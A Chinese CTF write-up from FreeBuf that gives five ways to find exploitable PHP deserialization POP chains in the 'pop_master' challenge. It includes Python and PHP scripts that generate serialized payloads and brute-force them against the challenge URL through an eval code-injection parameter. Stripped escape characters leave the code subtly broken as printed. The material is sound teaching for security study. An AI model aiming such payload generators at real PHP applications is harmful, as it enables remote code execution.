0x00 前言
在今年六月份的强网杯中,有一道叫做pop_master的题目。简单描述就是从一万个类中,筛选出可利用的pop链路。在赛前,笔者并未了解过抽象语法树的概念。当时是通过PHP的魔术方法完成了这一个有趣的题目。
作者提供了环境生成器,才有了这篇文章(题目生成器):https://gitee.com/b1ind/pop_master
官方的WP正解为AST抽象语法树以及它的污点分析,题目质量还是相当可以的,至此,笔者想到了多种解题思路,并给大家分享。
0x01 思考方向
笔者在刚拿到这16w行代码也是一脸懵。
近十七万行代码,当然人工审计几乎是不可能的。那么我们的思考方向,大致为下图:
这是我们平时审计的步骤,当然也是编写poc的思路,但是在这道题中,可以看到这样方式的查找,最终的查找结果是一个树形结构。我们始终在进行查找操作,直到查找到eval为止,那么我们可以使用递归的形式来帮助我们查找,但是这里我们又要将每一个类都解析出来才可以这一系列操作,所以这里我们需要借助于正则表达式。
0x02 第*种解法
解法一:传统的正则表达式
使用正则的解法其实是不太符合官方的意愿的,使用正则表达式的方式太过于古老,这里笔者分享一篇文章:
https://zhuanlan.zhihu.com/p/260013208
但是我们确确实实可以通过使用正则表达式来解析出每一个类,然后进行递归查找的操作。这种古老的方式我们也记录在内。
这里笔者将类的解析规则定义为下图:
通过function下的键值来进行递归查找,如果function的键值为其他函数名,那么递归去查找,如果function的键值为空数组,那么将它认为eval函数,递归停止,以此类推。编写好的poc1.py如下:
import re, os, time
targetFunction = 'c83OsD'
File = open('class.php', 'r').read()
MyClass = []
AllPop = []
def main():
ParseClass(File)
findEval(targetFunction)
makePoc()
def ParseClass(File):
global MyClass
classes = re.findall(r'(classs(.+?){([Ss]*?)}nn)', File)
# classes[n][0] 类主要结构 classes[n][1] 类名
for i in classes:
classItem = {}
classItem['className'] = i[1]
classItem['propertyName'] = re.findall(r'publics$(.+?);', i[0])[0]
functionValue = re.findall(r'(publicsfunctions(.+?)($(.+?)){(([Ss]+?);nn[Ss]+?)})', i[0])
FunctionItem = {}
for f in functionValue:
FunctionItem[f[1]] = []
# classItem['function'].append()
# f[1] 函数名 f[2] 参数名 f[3] 方法体
this2Func = re.findall(r'([st]$this->.+?->(.+?)(.+?));', f[3])
if len(this2Func) != 0:
for t in this2Func:
FunctionItem[f[1]].append(t[1])
classItem['function'] = FunctionItem
MyClass.append(classItem)
def findEval(startFunc, string = ''):
global AllPop
for classItem in MyClass:
nexts = classItem['function'].get(startFunc)
if nexts != None:
if len(nexts) == 0:
string += classItem['className']
AllPop.append(string.split('->'))
for key, nexted in enumerate(nexts):
if key == 0:
string += classItem['className'] + '->'
findEval(nexted, string)
def makePoc():
poc = "<?phpn"
for i in MyClass:
poc += '''class %s{
public function __construct($a = 0){
$this -> %s = $a;
}
}
'''%(i['className'], i['propertyName'])
for item in AllPop:
poc += 'file_put_contents("poc.txt", serialize('
for clsName in item:
poc += 'new %s('%(clsName)
for clsName in item:
poc += ')'
poc += ') . "\r\n", FILE_APPEND);n'
open('poc.php', 'w').write(poc)
os.popen('php poc.php')
print('成功生成poc.txt文件,请使用爆破脚本爆破POP链路...')
time.sleep(2)
os.remove('poc.php')
if __name__ == '__main__':
main()
Pop链爆破脚本:
import requests, threading, time
url = 'http://www.myctf.com/popmaster/popmaster/index.php'
fileName = 'poc.txt'
def readFile():
return open(fileName, 'r').read().split('n')
def attack(POP):
Param = '?pop={}&argv=var_dump("aaaaaaaaaaaaaaaaaaaa");//'.format(POP)
result = requests.get(url + Param).content.decode('utf-8')
if 'aaaaaaaaaaaaaaaa' in result:
print('----------------------------------')
print(POP)
print('----------------------------------')
if __name__ == '__main__':
fileData = readFile()
for POP in fileData:
threading.Thread(target=attack, args=(POP,)).start()
time.sleep(0.001)
将题目的class.php放入到当前目录,修改Poc1.py的targetFunction变量,随之执行脚本,再执行爆破脚本,就可以拿到正确结果。
流程动图:点击底部【阅读原文】查看
最终也是使用了POP链路爆破的手段,但是深度想一下,其实正则也是可以进行污点分析的,只要我们正则到位,可以匹配到 if, for等消毒语句,并进行一步一步分析块代码就可以了。只是有点繁琐而已。这里笔者也不会去尝试了。
解法二:PHP的反射
在解法一的正则表达式中,我们的初始目的就是为了将类与函数统统获取,然后再梳理他们之间的关系。但是使用正则表达式是消极的,因为我们只是通过语句结构的样式来进行匹配,当语句结构比较复杂时,使用正则表达式可能不太理想。
那么我们获取类与函数为什么不使用反射呢?在反射中,类与函数都已经作为了“块”等待着我们去获取,这里我们可以使用PHP的反射来拿到类的名称,类的属性,类的方法,然后再进行梳理他们之间的关系,也是可以的。
编写PHP代码:
ini_set('memory_limit','-1');
set_time_limit(0);
require './class.php'; # 题目的类文件
$funcName = 'c83OsD'; # 初始查找方法
$classes = get_declared_classes();
$classesInfo = [];
$pop = [];
foreach($classes as $key => $value){
if($key > 144){ # 设置最初始的键值
$obj = new ReflectionClass($value);
$classesInfo[$key]['className'] = $value;
foreach($obj -> getProperties() as $property){
$classesInfo[$key]['property'][] = $obj -> getProperties()[0] -> name;
}
foreach($obj -> getMethods() as $method){
$funcObj = new ReflectionMethod($value, $method -> name);
$start = $funcObj->getStartLine() - 1;
$end = $funcObj->getEndLine() - 1;
$filename = $funcObj->getFileName();
$funcValue = implode("", array_slice(file($filename),$start, $end - $start + 1));
preg_match_all('/$this.+->(.+?)(.*?);/im', $funcValue, $matches);
if($matches){
if(isset($matches[1]) && count($matches[1]) !== 0){
foreach($matches[1] as $MethodName){
# var_dump($MethodName);
$classesInfo[$key]['function'][$method -> name][] = trim($MethodName);
}
}else{
$classesInfo[$key]['function'][$method -> name][] = 'Eval_';
}
}
}
}
}
function findEval($nowFunc = 'yMLezf', $string = ''){
global $classesInfo, $pop;
if(count($classesInfo)){
foreach($classesInfo as $item){
if(is_array($item['function'])){
foreach($item['function'] as $functionName => $functionCall){
if($functionName == $nowFunc){
foreach($functionCall as $next){
if($next == 'Eval_'){
$string = $string . $item['className'] . "---{$item['property'][0]}";
$pop[] = array_unique(explode('->', $string));
}else{
$string .= $item['className'] . "---{$item['property'][0]}" . '->';
findEval($next, $string);
}
}
}
}
}
}
}
}
findEval($funcName);
$evalString = "<?phprnunlink(__FILE__);rn";
foreach($classesInfo as $value){
$evalString .= <<<EOF
class {$value['className']} {
public function __construct($a = 'a'){
$this->{$value['property'][0]} = $a;
}
}
EOF;
}
foreach($pop as $pop_){
$evalString .= "file_put_contents('poc.txt', serialize(";
foreach($pop_ as $key => $value){
$classesInfo = explode('---', $value);
$className = $classesInfo[0];
$evalString .= <<<EOF
new $className(
EOF;
}
foreach($pop_ as $key => $value){
$evalString .= <<<EOF
)
EOF;
}
$evalString .= ") . "\r\n", FILE_APPEND);rn";
}
file_put_contents('./temp.php', $evalString);
echo '<img src="./temp.php">生成poc.txt成功. 请查看poc.txt文件';
因为poc为PHP编写,所以在这里我们需要注意,在nginx需要配置nginx.conf添加如下配置:
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
以防止PHP报出500错误。
还有一点我们需要注意的就是POC中的第13行。
笔者这里$key定义为144的原因是,因为我们使用了get_declared_classes()来获得php中已定义的类,随后再使用反射。这里会获得到原生类,所以我们应该找到非原生类的键值,如图:
为了将原生类过滤掉,这里必须要设置一下键值。
流程动图:点击底部【阅读原文】查看
由于使用了反射机制,所以该POC脚本执行比较慢,笔者这里等了1-2分钟。
解法三:PHP提供的方法
在PHP中,可以使用get_declared_classes来获取所有的类,使用get_class_vars获取类的成员属性,使用get_class_methods获取类下的所有方法,所以使用PHP提供给我们的方法,也是可以拿到类与函数的结构的,这里笔者就不再重复演示了。
解法四:AST抽象语法树
当然,AST抽象语法树也是官方正解,POC也是使用PHP-Parser来进行编写的,它好在非常轻松的就可以做污点分析,并且我们不需要去梳理类与函数的关系,因为语法树已经保留了类与函数的关系,我们直接在语法树上操作就可以了。
关于AST抽象语法树笔者这里分享两篇文章,讲的非常不错。
https://blog.zsxsoft.com/post/42
http://j0k3r.top/2020/03/24/php-Deobfuscator/#0x02-%E8%A7%A3%E6%B7%B7%E6%B7%86-%EF%BC%88Deobfuscate%EF%BC%89
在自动化审计之前,我们都是使用PHP-Parser来做混淆/解混淆工作。
当然,不能有官方的POC,笔者就偷懒,在这里笔者写了个稍微简单点的POC,它只是分析了赋值语句的问题,因为在题目的最终点,都是一个eval。所以我们做污点分析只需要注意变量的赋值操作就可以了。如图:
以上就是我们需要注意的场景。
代码放到了码云:
https://gitee.com/He1huKey/popmaster/blob/master/popmaster.zip
在压缩包下的Part4目录下。
流程动图:
可以看到,与官方生成的pop链是一致的。
解法五:PHP魔术方法
除了我们从第三视角来看这十六万行代码外,我们应该考虑一下让PHP自己本身正向去查找可利用的链路,这里我们依赖于PHP的魔术方法。
这种解法也是笔者第一次解出题目的解法,因为PHP本来就是一个非常灵活的语言,我们应该让它在一万个类中灵活起来。
简单demo举例:
为了可以让A可以自动查找到B,B可以自动查找到C,这里我们需要继承一个父类,然后定义一个__get魔术方法。
可以看到,我们并没有进入到__get方法,__get方法会在“访问不存在的成员属性”的时候所调用。所以我们需要将每一个类的public xx属性给删除掉,我们再次访问。
这样一来我们就可以调用到__get方法了,那么调用到__get方法有什么用呢?
这里我们可以将__get的返回结果定义为$this,什么意思呢?简单描述就是将
$this -> propertyA -> FuncB();
这段代码解释为:
$this -> FuncB();
这样的话反而会调用到本类的__call方法,因为本类根本没有定义FuncB这个类,如图:
这样一来,我们就可以从__call方法中进行查找操作了。如图:
可以从图中看到,成功找到了phpinfo函数,那么编写POC:
import re, sys
classPath = './class.php' # 复制类文件到这里
def start():
value = open(classPath, 'r').read()
pregClass = 'class(.+?){'
pregPublic = 'public $.+?;'
pregExists = 'if(method_exists(.+?))'
pregEval = 'eval'
result = re.sub(pregClass, r'class1 extends MyClass{', value)
result = re.sub(pregPublic, '', result)
result = re.sub(pregExists, '', result)
result = re.sub(pregEval, 'myfunc', result)
return result
def myClass(allClass):
myClass = '''<?php
class MyClass{
public function __get($name){
$this -> funcName = $name;
$this -> $name = $this;
return $this -> $name;
}
public function __call($funcName, $funcValue){
$classes = get_declared_classes();
foreach($classes as $key => $value){
if(strlen($value) == 6){
try{
$obj = new $value;
if(method_exists($obj, $funcName)){
$this -> {$this -> funcName} = $obj;
$obj -> $funcName($funcValue[0]);
}
}catch(Exception $e){
}
}
}
unset($this -> {$this -> funcName});
echo "\r\n";
}
}
function myfunc($value){
if(substr($value, 0, 7) == 'aaaaaaa'){
echo serialize($GLOBALS['obj']);
die;
}
}
'''
return myClass + allClass
if __name__ == '__main__':
print('请在当前目录下放置 class.php 文件...')
if len(sys.argv) < 3:
exit('请传输调用的 类名 与 方法 名')
AllClass = start()
PHP = myClass(AllClass.replace('<?php', ''))
open('myclass.php', 'w').write(PHP)
IndexPHP = '''<?php
include "myclass.php";
$obj = new %s();
$obj -> %s('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');
'''%(sys.argv[1], sys.argv[2])
open('myindex.php', 'w').write(IndexPHP)
print('生成完毕...请执行myindex.php...')
流程动图:点击底部【阅读原文】查看
0x03 Ending
整个题目之旅非常有趣,感觉AST这门技术是我们必须要掌握的一门技术,不管从自动化审计方面,还是混淆与解混淆方面,使用AST可以很方便的处理这些东西。
文章中所使用的所有代码:
https://gitee.com/He1huKey/popmaster/blob/master/popmaster.zip
精彩推荐
本文始发于微信公众号(FreeBuf):pop_master的花式解题思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论